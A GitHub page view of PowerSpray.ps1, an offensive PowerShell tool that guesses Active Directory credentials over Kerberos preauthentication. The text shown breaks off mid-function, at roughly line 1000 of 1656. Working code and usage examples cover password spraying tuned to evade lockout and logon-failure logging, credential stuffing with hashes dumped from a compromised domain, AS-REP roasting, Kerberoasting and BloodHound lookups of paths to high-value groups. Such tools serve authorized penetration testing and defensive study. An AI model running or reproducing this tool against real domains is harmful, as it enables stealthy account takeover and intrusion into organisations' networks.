-
Notifications
You must be signed in to change notification settings - Fork 1
/
PowerSpray.ps1
executable file
·1656 lines (1444 loc) · 82.2 KB
/
PowerSpray.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
Function Invoke-PowerSpray {
<#
.SYNOPSIS
Guess Active Directory credentials via Kerberos preauthentication.
Author: Timothee MENOCHET (@_tmenochet)
.DESCRIPTION
Invoke-PowerSpray checks usernames and passwords (plain-text or NTLM hashes) by sending Kerberos AS-REQ.
Spraying attack can be performed against all the domain users retrieved from LDAP directory, while checking their "badPwdCount" attribute to prevent account lockout and identify previous passwords.
Stuffing attack can be performed using NTLM password hashes dumped from a compromised domain against another target domain in order to identify credential reuse.
Since failing Kerberos preauthentication does not trigger traditional logon failure event, it may be a stealthy way to credential guessing.
Moreover, roasting attacks can be performed to retrieve encrypted material via users that do not have preauthentication required.
It is highly inspired from Rubeus (by @harmj0y) for the Kerberos part and from Invoke-BadPwdCountScanner (by @rindert-fox) for the LDAP part.
.PARAMETER UserName
Specifies the identifier of an account to send the AS-REQ for.
.PARAMETER UserFile
Specifies a file containing a list of usernames to send the AS-REQ for.
.PARAMETER ServiceName
Specifies the identifier of a service account to target for kerberoasting.
.PARAMETER ServiceFile
Specifies a file containing a list of service names to target for kerberoasting.
.PARAMETER EmptyPassword
Specifies empty password for each authentication attempt. When `-Ldap` switch is enabled, user list is filtered based on the UF_PASSWD_NOTREQD flag.
.PARAMETER UserAsPassword
Specifies username as password for each authentication attempt (default case, lowercase or uppercase).
.PARAMETER PreCreatedComputer
Specifies computer name as password (without the trailing '$') or empty password for each authentication attempt.
.PARAMETER Password
Specifies the password for authentication attempts.
.PARAMETER Hash
Specifies the NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format.
.PARAMETER DumpFile
Specifies a dump file containing NTLM password hashes in the format <domain>\<username>:<uid>:<LM-hash>:<NT-hash>:<comment>:<homedir>: (e.g secretsdump's output).
.PARAMETER EncType
Specifies the encryption type for Kerberos, defaults to AES256 (AES256-CTS-HMAC-SHA1-96). When NTLM hash is used for authentication, it is downgraded to RC4 (ARCFOUR-HMAC-MD5).
.PARAMETER Server
Specifies the domain controller to send the AS-REQ to.
.PARAMETER Ldap
Enables domain account enumeration via LDAP.
.PARAMETER SSL
Use SSL connection to LDAP server.
.PARAMETER LdapCredential
Specifies credentials to use for LDAP bind.
.PARAMETER CheckOldPwd
Enables old password discovery by checking the badPwdCount attribute after each unsuccessful authentication.
.PARAMETER LockoutThreshold
Specifies the maximum value of the badPwdCount attribute of the target users enumerated via LDAP.
By default, value is based on domain's Default Password Policy.
.PARAMETER Delay
Specifies the delay (in seconds) between authentication attempts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to any specified delay, defaults to +/- 0.3.
.PARAMETER Threads
Specifies the number of threads to use for authentication attempts, defaults to 1.
.PARAMETER BloodHound
Enables Bloodhound integration to identify path to high value targets.
.PARAMETER Neo4jCredential
Specifies credentials for BloodHound's Neo4j database.
.PARAMETER Neo4jHost
Specifies Neo4j server address.
.PARAMETER Neo4jPort
Specifies Neo4j server port.
.EXAMPLE
Discovering valid usernames, from an unauthenticated context:
PS C:\> Invoke-PowerSpray -Server 192.168.1.10 -UserFile .\users.lst
.EXAMPLE
Kerberoasting using a given account without preauthentication enabled, from an unauthenticated context:
PS C:\> Invoke-PowerSpray -Server 192.168.1.10 -UserName testuser -ServiceList .\services.lst -EncType RC4
.EXAMPLE
ASREP roasting and Kerberoasting using AS-REQ without preauthentication data, from an authenticated context:
PS C:\> Invoke-PowerSpray -Ldap -EncType RC4
.EXAMPLE
Password spraying against all domain users using username as password:
PS C:\> Invoke-PowerSpray -Server DC.ADATUM.CORP -Ldap -UserAsPassword default -BloodHound -Neo4jCredential neo4j
.EXAMPLE
Password spraying against pre-created computer accounts:
PS C:\> Invoke-PowerSpray -Server DC.ADATUM.CORP -Ldap -PreCreatedComputer ComputerAsPassword
.EXAMPLE
Password spraying against all domain users using a given password:
PS C:\> Invoke-PowerSpray -Server DC.ADATUM.CORP -Ldap -LdapCredential testuser@ADATUM.CORP -Password 'Welcome2020'
.EXAMPLE
Pass-the-key attack targeting a specific account using a given password hash:
PS C:\> Invoke-PowerSpray -Server DC.ADATUM.CORP -UserName testuser -Hash F6F38B793DB6A94BA04A52F1D3EE92F0
.EXAMPLE
Password stuffing using a hash dump extracted from a previously compromised domain:
PS C:\> Invoke-PowerSpray -Server ADATUM.CORP -DumpFile .\CONTOSO.ntds -Threads 5
#>
[CmdletBinding()]
Param (
[ValidateNotNullOrEmpty()]
[String]
$UserName,
[ValidateScript({Test-Path $_ -PathType Leaf})]
[String]
$UserFile,
[ValidateNotNullOrEmpty()]
[String]
$ServiceName,
[ValidateScript({Test-Path $_ -PathType Leaf})]
[String]
$ServiceFile,
[Switch]
$EmptyPassword,
[ValidateSet('default', 'lowercase', 'uppercase')]
[String]
$UserAsPassword,
[ValidateSet('ComputerAsPassword', 'EmptyPassword')]
[String]
$PreCreatedComputer,
[String]
$Password,
[ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})]
[String]
$Hash,
[ValidateScript({Test-Path $_ -PathType Leaf})]
[String]
$DumpFile,
[ValidateSet('RC4', 'AES256', 'AES128', 'DES')]
[String]
$EncType = 'AES256',
[ValidateNotNullOrEmpty()]
[String]
$Server = $Env:USERDNSDOMAIN,
[Switch]
$Ldap,
[Switch]
$SSL,
[ValidateNotNullOrEmpty()]
[Management.Automation.PSCredential]
[Management.Automation.Credential()]
$LdapCredential = [Management.Automation.PSCredential]::Empty,
[Switch]
$CheckOldPwd,
[Int]
$LockoutThreshold,
[UInt32]
$Delay = 0,
[Double]
$Jitter = 0.3,
[Int]
[ValidateRange(1, 100)]
$Threads = 1,
[Switch]
$BloodHound,
[ValidateNotNullOrEmpty()]
[Management.Automation.PSCredential]
[Management.Automation.Credential()]
$Neo4jCredential = (New-Object Management.Automation.PSCredential ("neo4j", $(ConvertTo-SecureString 'neo4j' -AsPlainText -Force))),
[ValidateNotNullOrEmpty()]
[String]
$Neo4jHost = '127.0.0.1',
[ValidateNotNullOrEmpty()]
[Int]
$Neo4jPort = 7474
)
try {
$rootDSE = Get-LdapRootDSE -Server $Server
$defaultNC = $rootDSE.defaultNamingContext[0]
$domain = $defaultNC -replace 'DC=' -replace ',','.'
}
catch {
Write-Error "Domain controller unreachable" -ErrorAction Stop
}
# Check if the Server parameter is an IP address
try {
[Net.IPAddress]::Parse($Server) | Out-Null
}
catch {
$Server = (Resolve-DnsName -Name $Server -Type A -Verbose:$false).IPAddress | Select-Object -First 1
}
if ($CheckOldPwd) {
$Ldap = $true
}
if ($Ldap) {
if ($CheckOldPwd -and ($PSBoundParameters.ContainsKey('Password') -or $PSBoundParameters.ContainsKey('Hash') -or $PSBoundParameters.ContainsKey('UserAsPassword') -or $PSBoundParameters.ContainsKey('EmptyPassword'))) {
# Check if the Server has PDC role
$pdcServers = (Resolve-DnsName -Server $domain -Name "_ldap._tcp.pdc._msdcs.$domain" -Type SRV -Verbose:$false).IPAddress
if (-not ($pdcServers.Contains($Server))) {
Write-Warning "The domain controller specified doesn't not seem to have PDC role. Bad result may occur due to replication issues with badPwdCount attribute"
}
}
if (-not $LockoutThreshold -and ($PSBoundParameters.ContainsKey('Password') -or $PSBoundParameters.ContainsKey('Hash') -or $PSBoundParameters.ContainsKey('UserAsPassword') -or $PSBoundParameters.ContainsKey('EmptyPassword') -or $PSBoundParameters.ContainsKey('PreCreatedComputer'))) {
$LockoutThreshold = (Get-LdapObject -Server $Server -SSL:$SSL -Credential $LdapCredential -SearchBase $defaultNC -Filter '(objectClass=domain)' -Properties 'lockoutThreshold' -SearchScope 'Base').lockoutThreshold
Write-Warning "LockoutThreshold value defined in Default Password Policy is $LockoutThreshold"
}
$properties = @('sAMAccountName', 'badPwdCount', 'userAccountControl', 'msds-supportedencryptiontypes')
}
$pass = $null
if ($PSBoundParameters.ContainsKey('Password')) {
$pass = $Password
}
if ($PSBoundParameters.ContainsKey('EmptyPassword')) {
$pass = ''
}
if ($PSBoundParameters.ContainsKey('PreCreatedComputer')) {
if (-not $PSBoundParameters.ContainsKey('EncType')) {
$EncType = 'RC4'
}
if ($PreCreatedComputer -eq 'EmptyPassword') {
$pass = ''
}
}
$nthash = $null
if ($PSBoundParameters.ContainsKey('Hash')) {
$EncType = 'RC4'
if($Hash -like "*:*") {
$nthash = $Hash.SubString(($Hash.IndexOf(":") + 1),32)
}
else {
$nthash = $Hash
}
}
$services = @()
if ($ServiceName) {
$services += $ServiceName
}
elseif ($ServiceFile) {
$ServiceFilePath = Resolve-Path -Path $ServiceFile
foreach ($serviceName in Get-Content $ServiceFilePath) {
if ($Ldap) {
$filter = "&((samAccountName=$serviceName)(servicePrincipalName=*))"
if (-not ($service = Get-LdapObject -Server $Server -SSL:$SSL -SearchBase $defaultNC -Filter $filter -Properties $properties -Credential $LdapCredential)) {
Write-Verbose "$($serviceName)@$($domain) does not exist"
}
}
if ($service -or -not $Ldap) {
$services += $serviceName
}
}
}
$badPwdCount = -1
$user = $null
$credentials = New-Object Collections.ArrayList
if ($UserName) {
if ($Ldap) {
$filter = "(samAccountName=$UserName)"
if ($PSBoundParameters.ContainsKey('EmptyPassword')) {
$filter = "(&(userAccountControl:1.2.840.113556.1.4.803:=32)$filter)"
}
if ($PSBoundParameters.ContainsKey('PreCreatedComputer')) {
$filter = "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=32)(userAccountControl:1.2.840.113556.1.4.803:=4096)$filter)"
}
if ($user = Get-LdapObject -Server $Server -SSL:$SSL -SearchBase $defaultNC -Filter $filter -Properties $properties -Credential $LdapCredential) {
$badPwdCount = $user.badPwdCount
}
else {
Write-Error "$($UserName)@$($domain) does not exist" -ErrorAction Stop
}
}
if ($PSBoundParameters.ContainsKey('UserAsPassword')) {
switch ($UserAsPassword) {
lowercase {
$pass = $UserName.ToLower()
}
uppercase {
$pass = $UserName.ToUpper()
}
default {
$pass = $UserName
}
}
}
if ($PSBoundParameters.ContainsKey('PreCreatedComputer') -and $PreCreatedComputer -eq 'ComputerAsPassword') {
$pass = $UserName.ToLower().TrimEnd('$')
}
$cred = [pscustomobject] @{Domain = $domain; UserName = $UserName; Password = $pass; NTHash = $nthash; BadPwdCount = $badPwdCount}
$credentials.add($cred) | Out-Null
}
elseif ($UserFile) {
$UserFilePath = Resolve-Path -Path $UserFile
foreach ($userName in Get-Content $UserFilePath) {
if ($Ldap) {
$filter = "(samAccountName=$userName)"
if ($PSBoundParameters.ContainsKey('EmptyPassword')) {
$filter = "(&(userAccountControl:1.2.840.113556.1.4.803:=32)$filter)"
}
if ($PSBoundParameters.ContainsKey('PreCreatedComputer')) {
$filter = "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=32)(userAccountControl:1.2.840.113556.1.4.803:=4096)$filter)"
}
if ($user = Get-LdapObject -Server $Server -SSL:$SSL -SearchBase $defaultNC -Filter $filter -Properties $properties -Credential $LdapCredential) {
$badPwdCount = $user.badPwdCount
}
else {
Write-Verbose "$($userName)@$($domain) does not exist"
}
}
if ($user -or -not $Ldap) {
if ($PSBoundParameters.ContainsKey('UserAsPassword')) {
switch ($UserAsPassword) {
lowercase {
$pass = $userName.ToLower()
}
uppercase {
$pass = $userName.ToUpper()
}
default {
$pass = $userName
}
}
}
if ($PSBoundParameters.ContainsKey('PreCreatedComputer') -and $PreCreatedComputer -eq 'ComputerAsPassword') {
$pass = $UserName.ToLower().TrimEnd('$')
}
$cred = [pscustomobject] @{Domain = $domain; UserName = $userName; Password = $pass; NTHash = $nthash; BadPwdCount = $badPwdCount}
$credentials.add($cred) | Out-Null
}
}
}
elseif ($DumpFile) {
$dumpFilePath = Resolve-Path -Path $DumpFile
foreach ($line in Get-Content $dumpFilePath) {
$dump = $line.Split(':')
$userName = $dump[0]
if ($userName) {
if ($userName.Contains('\')) {
$userName = $userName.split('\')[1]
}
if ($Ldap) {
$filter = "(samAccountName=$userName)"
if ($PSBoundParameters.ContainsKey('EmptyPassword')) {
$filter = "(&(userAccountControl:1.2.840.113556.1.4.803:=32)$filter)"
}
if ($PSBoundParameters.ContainsKey('PreCreatedComputer')) {
$filter = "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=32)(userAccountControl:1.2.840.113556.1.4.803:=4096)$filter)"
}
if ($user = Get-LdapObject -Server $Server -SSL:$SSL -SearchBase $defaultNC -Filter $filter -Properties $properties -Credential $LdapCredential) {
$badPwdCount = $user.badPwdCount
}
else {
Write-Verbose "$($userName)@$($domain) does not exist"
}
}
if ($user -or -not $Ldap) {
$nthash = $dump[3]
if ($PSBoundParameters.ContainsKey('UserAsPassword')) {
$nthash = $null
switch ($UserAsPassword) {
lowercase {
$pass = $userName.ToLower()
}
uppercase {
$pass = $userName.ToUpper()
}
default {
$pass = $userName
}
}
}
if ($PSBoundParameters.ContainsKey('PreCreatedComputer') -and $PreCreatedComputer -eq 'ComputerAsPassword') {
$pass = $UserName.ToLower().TrimEnd('$')
}
$cred = [pscustomobject] @{Domain = $domain; UserName = $userName; Password = $pass; NTHash = $nthash; BadPwdCount = $badPwdCount}
$credentials.add($cred) | Out-Null
}
}
}
}
elseif ($Ldap) {
$filter = ''
$disabledUserAccountControl = 2,514,546,66050,66082,262658,262690,328194,328226
foreach($userAccountControl in $disabledUserAccountControl) {
$filter += "(!userAccountControl:1.2.840.113556.1.4.803:=$userAccountControl)"
}
if (-not ($PSBoundParameters.ContainsKey('Password') -or $PSBoundParameters.ContainsKey('Hash') -or $PSBoundParameters.ContainsKey('UserAsPassword') -or $PSBoundParameters.ContainsKey('EmptyPassword') -or $PSBoundParameters.ContainsKey('PreCreatedComputer'))) {
# Find all enabled users without kerberos preauthentication enabled (AS-REP roasting)
$filter1 = "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304)$filter)"
$users = Get-LdapObject -Server $Server -SSL:$SSL -SearchBase $defaultNC -Filter $filter1 -Properties $properties -Credential $LdapCredential
if (($users | Measure-Object).Count -gt 0) {
# Find all enabled users with a SPN (Kerberoasting)
$filter2 = "(&(samAccountType=805306368)(servicePrincipalName=*)$filter)"
$services = (Get-LdapObject -Server $Server -SSL:$SSL -SearchBase $defaultNC -Filter $filter2 -Properties $properties -Credential $LdapCredential).sAMAccountName
}
}
else {
if ($LockoutThreshold -gt 0) {
$filter = "(&(!(badPwdCount>=$LockoutThreshold))$filter)"
}
if ($PSBoundParameters.ContainsKey('EmptyPassword')) {
$filter = "(&(userAccountControl:1.2.840.113556.1.4.803:=32)$filter)"
}
if ($PSBoundParameters.ContainsKey('PreCreatedComputer')) {
# Find all enabled computers with badPwdCount < LockoutThreshold that have never been used (spraying)
$filter = "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=32)(userAccountControl:1.2.840.113556.1.4.803:=4096)(logonCount=0)$filter)"
}
else {
# Find all enabled users with badPwdCount < LockoutThreshold (spraying)
$filter = "(&(samAccountType=805306368)$filter)"
}
$users = Get-LdapObject -Server $Server -SSL:$SSL -SearchBase $defaultNC -Filter $filter -Properties $properties -Credential $LdapCredential
}
foreach ($user in $users) {
if ($PSBoundParameters.ContainsKey('UserAsPassword')) {
switch ($UserAsPassword) {
lowercase {
$pass = $user.samAccountName.ToLower()
}
uppercase {
$pass = $user.samAccountName.ToUpper()
}
default {
$pass = $user.samAccountName
}
}
}
if ($PSBoundParameters.ContainsKey('PreCreatedComputer') -and $PreCreatedComputer -eq 'ComputerAsPassword') {
$pass = $user.samAccountName.ToLower().TrimEnd('$')
}
$cred = [pscustomobject] @{Domain = $domain; UserName = $user.samAccountName; Password = $pass; NTHash = $nthash; BadPwdCount = $user.badPwdCount}
$credentials.add($cred) | Out-Null
}
}
else {
Write-Error "Either UserName, UserFile, DumpFile or Ldap parameter must be specified" -ErrorAction Stop
}
$params = @{
EncType = $EncType
Server = $Server
SSL = $SSL
Delay = $Delay
Jitter = $Jitter
Ldap = $Ldap
LdapCredential = $LdapCredential
CheckOldPwd = $CheckOldPwd
LockoutThreshold = $LockoutThreshold
BloodHound = $BloodHound
Neo4jCredential = $Neo4jCredential
Neo4jHost = $Neo4jHost
Neo4jPort = $Neo4jPort
Verbose = $VerbosePreference
Services = $services
}
if ($PSBoundParameters['Delay'] -or $credentials.Count -eq 1 -or $Threads -eq 1) {
New-KerberosSpray @params -Collection $credentials
}
elseif ($credentials) {
New-ThreadedFunction -ScriptBlock ${function:New-KerberosSpray} -ScriptParameters $params -Collection $credentials.ToArray() -Threads $Threads
}
}
Function Local:New-KerberosSpray {
[CmdletBinding()]
Param (
[Collections.ArrayList]
$Collection,
[Parameter(Mandatory = $True)]
[String]
$Server,
[ValidateSet('RC4', 'AES256', 'AES128', 'DES')]
[string]
$EncType = 'AES256',
[UInt32]
$Delay,
[Double]
$Jitter,
[Switch]
$Ldap,
[Switch]
$SSL,
[ValidateNotNullOrEmpty()]
[Management.Automation.PSCredential]
[Management.Automation.Credential()]
$LdapCredential,
[Switch]
$CheckOldPwd,
[Int]
$LockoutThreshold,
[Switch]
$BloodHound,
[Management.Automation.PSCredential]
$Neo4jCredential,
[String]
$Neo4jHost,
[Int]
$Neo4jPort,
[String[]]
$Services
)
switch ($EncType) {
'DES' {
# ETYPE 3 = DES-CBC-MD5
$eType = 3
}
'AES128' {
# ETYPE 17 = AES128-CTS-HMAC-SHA1-96
$eType = 17
}
'AES256' {
# ETYPE 18 = AES256-CTS-HMAC-SHA1-96
$eType = 18
}
'RC4' {
# ETYPE 23 = ARCFOUR-HMAC-MD5
$eType = 23
}
}
$keyBytes = $null
$noPreauthUser = $null
if ($CheckOldPwd) {
$currentUser = (Get-LdapCurrentUser -Server $Server -SSL:$SSL -Credential $LdapCredential).UserName
}
foreach ($cred in $Collection) {
if ($cred.badPwdCount -eq -1) {
$cred.PSObject.Properties.Remove('BadPwdCount')
}
if ($cred.Password -or $cred.NTHash -and $LockoutThreshold -gt 0 -and $cred.badPwdCount -ge $LockoutThreshold) {
$cred | Add-Member -MemberType NoteProperty -Name 'Status' -Value 'Skipped'
$cred.PSObject.Properties.Remove('Password')
$cred.PSObject.Properties.Remove('NTHash')
Write-Output $cred
continue
}
if ($cred.Password -ne $null) {
$salt = "$($cred.Domain.ToUpper())$($cred.Username)"
$keyBytes = KerberosPasswordHash -eType $eType -Password $cred.Password -Salt $salt
$cred.PSObject.Properties.Remove('NTHash')
}
elseif ($cred.NTHash) {
# ETYPE 23 = ARCFOUR-HMAC-MD5
$eType = 23
$keyBytes = [byte[]] ($cred.NTHash -replace '..', '0x$&,' -split ',' -ne '')
$cred.PSObject.Properties.Remove('Password')
}
else {
$cred.PSObject.Properties.Remove('Password')
$cred.PSObject.Properties.Remove('NTHash')
}
$AS_REP = New-KerbPreauth -EncType $eType -UserName $cred.Username -Key $keyBytes -Domain $cred.Domain -Server $Server
$asn_AS_REP = [Asn1.AsnElt]::Decode($AS_REP, $false)
$tag = $asn_AS_REP.TagValue
# ERR_PREAUTH_REQUIRED
if ($tag -eq 30) {
$temp = $asn_AS_REP.Sub[0].Sub | Where-Object {$_.TagValue -eq 6}
$error_code = [Convert]::ToUInt32($temp.Sub[0].GetInteger())
switch ($error_code) {
# KDC_ERR_C_PRINCIPAL_UNKNOWN
6 {
Write-Verbose "$($cred.Username)@$($cred.Domain) does not exist"
$cred | Add-Member -MemberType NoteProperty -Name 'Status' -Value 'Invalid'
}
# KDC_ERR_ETYPE_NOSUPP
14 {
$cred | Add-Member -MemberType NoteProperty -Name 'Status' -Value 'ETypeNotSupported'
if ($cred.Password) {
$cred.Password = $null
}
elseif ($cred.NTHash) {
$cred.NTHash = $null
}
}
# KDC_ERR_CLIENT_REVOKED
18 {
$cred | Add-Member -MemberType NoteProperty -Name 'Status' -Value 'Revoked'
if ($cred.Password) {
$cred.Password = $null
}
elseif ($cred.NTHash) {
$cred.NTHash = $null
}
}
# KDC_ERR_KEY_EXPIRED
23 {
$cred | Add-Member -MemberType NoteProperty -Name 'Status' -Value 'Expired'
if ($BloodHound) {
$pathNb = 0
$query = "
MATCH (n:User {name:'$($cred.Username.ToUpper())@$($cred.Domain.ToUpper())'}),(m:Group {highvalue:true}),p=shortestPath((n)-[*1..]->(m))
RETURN COUNT(p) AS pathNb
"
try {
$result = New-BloodHoundQuery -Query $query -Credential $Neo4jCredential -Neo4jHost $Neo4jHost -Neo4jPort $Neo4jPort
$pathNb = $result.data[0] | Where-Object {$_}
if ($pathNb -gt 0) {
$cred | Add-Member -MemberType NoteProperty -Name 'PathToHighValue' -Value $true
}
else {
$cred | Add-Member -MemberType NoteProperty -Name 'PathToHighValue' -Value $false
}
}
catch {
Write-Warning $Error[0].ErrorDetails.Message
}
}
}
# KDC_ERR_PREAUTH_FAILED
24 {
$newBadPwdCount = $null
if ($CheckOldPwd -and ($($cred.Username) -ne $currentUser)) {
$filter = "(samAccountName=$($cred.Username))"
$newBadPwdCount = (Get-LdapObject -Server $Server -SSL:$SSL -Filter $filter -Properties badPwdCount -Credential $LdapCredential).badPwdCount
}
if (($newBadPwdCount -ne $null) -and ($newBadPwdCount -eq $cred.BadPwdCount)) {
$cred | Add-Member -MemberType NoteProperty -Name 'Status' -Value 'Renewed'
}
else {
Write-Verbose "$($cred.Username)@$($cred.Domain) failed to authenticate"
$cred | Add-Member -MemberType NoteProperty -Name 'Status' -Value 'Invalid'
}
}
# KDC_ERR_PREAUTH_REQUIRED
25 {
if (-not $Ldap) {
$cred | Add-Member -MemberType NoteProperty -Name 'Status' -Value 'Valid'
}
}
# KRB_AP_ERR_SKEW
37 {
$cred | Add-Member -MemberType NoteProperty -Name 'Status' -Value 'Valid'
if ($BloodHound) {
$pathNb = 0
$query = "
MATCH (n:User {name:'$($cred.Username.ToUpper())@$($cred.Domain.ToUpper())'}),(m:Group {highvalue:true}),p=shortestPath((n)-[*1..]->(m))
RETURN COUNT(p) AS pathNb
"
try {
$result = New-BloodHoundQuery -Query $query -Credential $Neo4jCredential -Neo4jHost $Neo4jHost -Neo4jPort $Neo4jPort
$pathNb = $result.data[0] | Where-Object {$_}
if ($pathNb -gt 0) {
$cred | Add-Member -MemberType NoteProperty -Name 'PathToHighValue' -Value $true
}
else {
$cred | Add-Member -MemberType NoteProperty -Name 'PathToHighValue' -Value $false
}
}
catch {
Write-Warning $Error[0].ErrorDetails.Message
}
}
}
# KDC_ERR_WRONG_REALM
68 {
Write-Error "Invalid Kerberos REALM: $($cred.Domain)" -ErrorAction Stop
}
# https://tools.ietf.org/html/rfc1510#section-8.3
default {
Write-Warning "Unknown error code for '$($cred.Username)@$($cred.Domain): $error_code"
}
}
}
# AS-REP
elseif ($tag -eq 11) {
if ($cred.Password -eq $null -and $cred.NTHash -eq $null) {
$cred | Add-Member -MemberType NoteProperty -Name 'Status' -Value 'ASRepRoastable'
$cred.PSObject.Properties.Remove('BadPwdCount')
$encPart = $asn_AS_REP.Sub[0].Sub | Where-Object {$_.TagValue -eq 6}
$temp = $encPart.Sub[0].Sub | Where-Object {$_.TagValue -eq 2}
$cipher = $temp.Sub[0].GetOctetString()
$repHash = [BitConverter]::ToString($cipher).Replace("-", $null)
$asrepHash = $repHash.Insert(32, '$')
$temp = $encPart.Sub[0].Sub | Where-Object {$_.TagValue -eq 0}
$eType = $temp.Sub[0].GetInteger()
$hash = "`$krb5asrep`$$($eType)`$$($cred.Username)@$($cred.Domain):$($asrepHash)"
$cred | Add-Member -MemberType NoteProperty -Name 'KRB5Hash' -Value $hash
$noPreauthUser = $cred # Store username for further Kerberoasting
}
else {
$cred | Add-Member -MemberType NoteProperty -Name 'Status' -Value 'Valid'
if ($BloodHound) {
$pathNb = 0
$query = "
MATCH (n:User {name:'$($cred.Username.ToUpper())@$($cred.Domain.ToUpper())'}),(m:Group {highvalue:true}),p=shortestPath((n)-[*1..]->(m))
RETURN COUNT(p) AS pathNb
"
try {
$result = New-BloodHoundQuery -Query $query -Credential $Neo4jCredential -Neo4jHost $Neo4jHost -Neo4jPort $Neo4jPort
$pathNb = $result.data[0] | Where-Object {$_}
if ($pathNb -gt 0) {
$cred | Add-Member -MemberType NoteProperty -Name 'PathToHighValue' -Value $true
}
else {
$cred | Add-Member -MemberType NoteProperty -Name 'PathToHighValue' -Value $false
}
}
catch {
Write-Warning $Error[0].ErrorDetails.Message
}
}
}
}
else {
Write-Warning "Unknown tag number for '$($cred.Username)@$($cred.domain): $tag'"
}
if ($cred.Status -ne 'Invalid') {
Write-Output $cred
}
$randNb = New-Object Random
$waitingTime = $randNb.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Start-Sleep -Seconds $waitingTime
}
if ($noPreauthUser) {
# Kerberoasting without preauthentication
foreach ($service in $Services) {
$serviceCred = [pscustomobject] @{Domain = $domain; UserName = $service}
$AS_REP = New-KerbPreauth -EncType $eType -UserName $noPreauthUser.Username -Domain $noPreauthUser.Domain -Server $Server -ServiceName $service
$asn_AS_REP = [Asn1.AsnElt]::Decode($AS_REP, $false)
$tag = $asn_AS_REP.TagValue
if ($tag -eq 11) {
# TODO: use decoded Asn1 structure instead of parsing raw ticket
$ticketHexStream = [BitConverter]::ToString($AS_REP) -replace '-'
if($TicketHexStream -match 'a382....3082....A0030201(?<EtypeLen>..)A1.{1,4}.......A282(?<CipherTextLen>....)........(?<DataToEnd>.+)') {
#$eType = [Convert]::ToByte($Matches.EtypeLen, 16)
$cipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen, 16) - 4
$cipherText = $Matches.DataToEnd.Substring(0, $cipherTextLen*2)
$hashcat = $null
if (($eType -eq 18) -or ($eType -eq 17)) {
$checksumStart = $cipherTextLen - 24
$hash = "$($cipherText.Substring($checksumStart))`$$($cipherText.Substring(0, $checksumStart))"
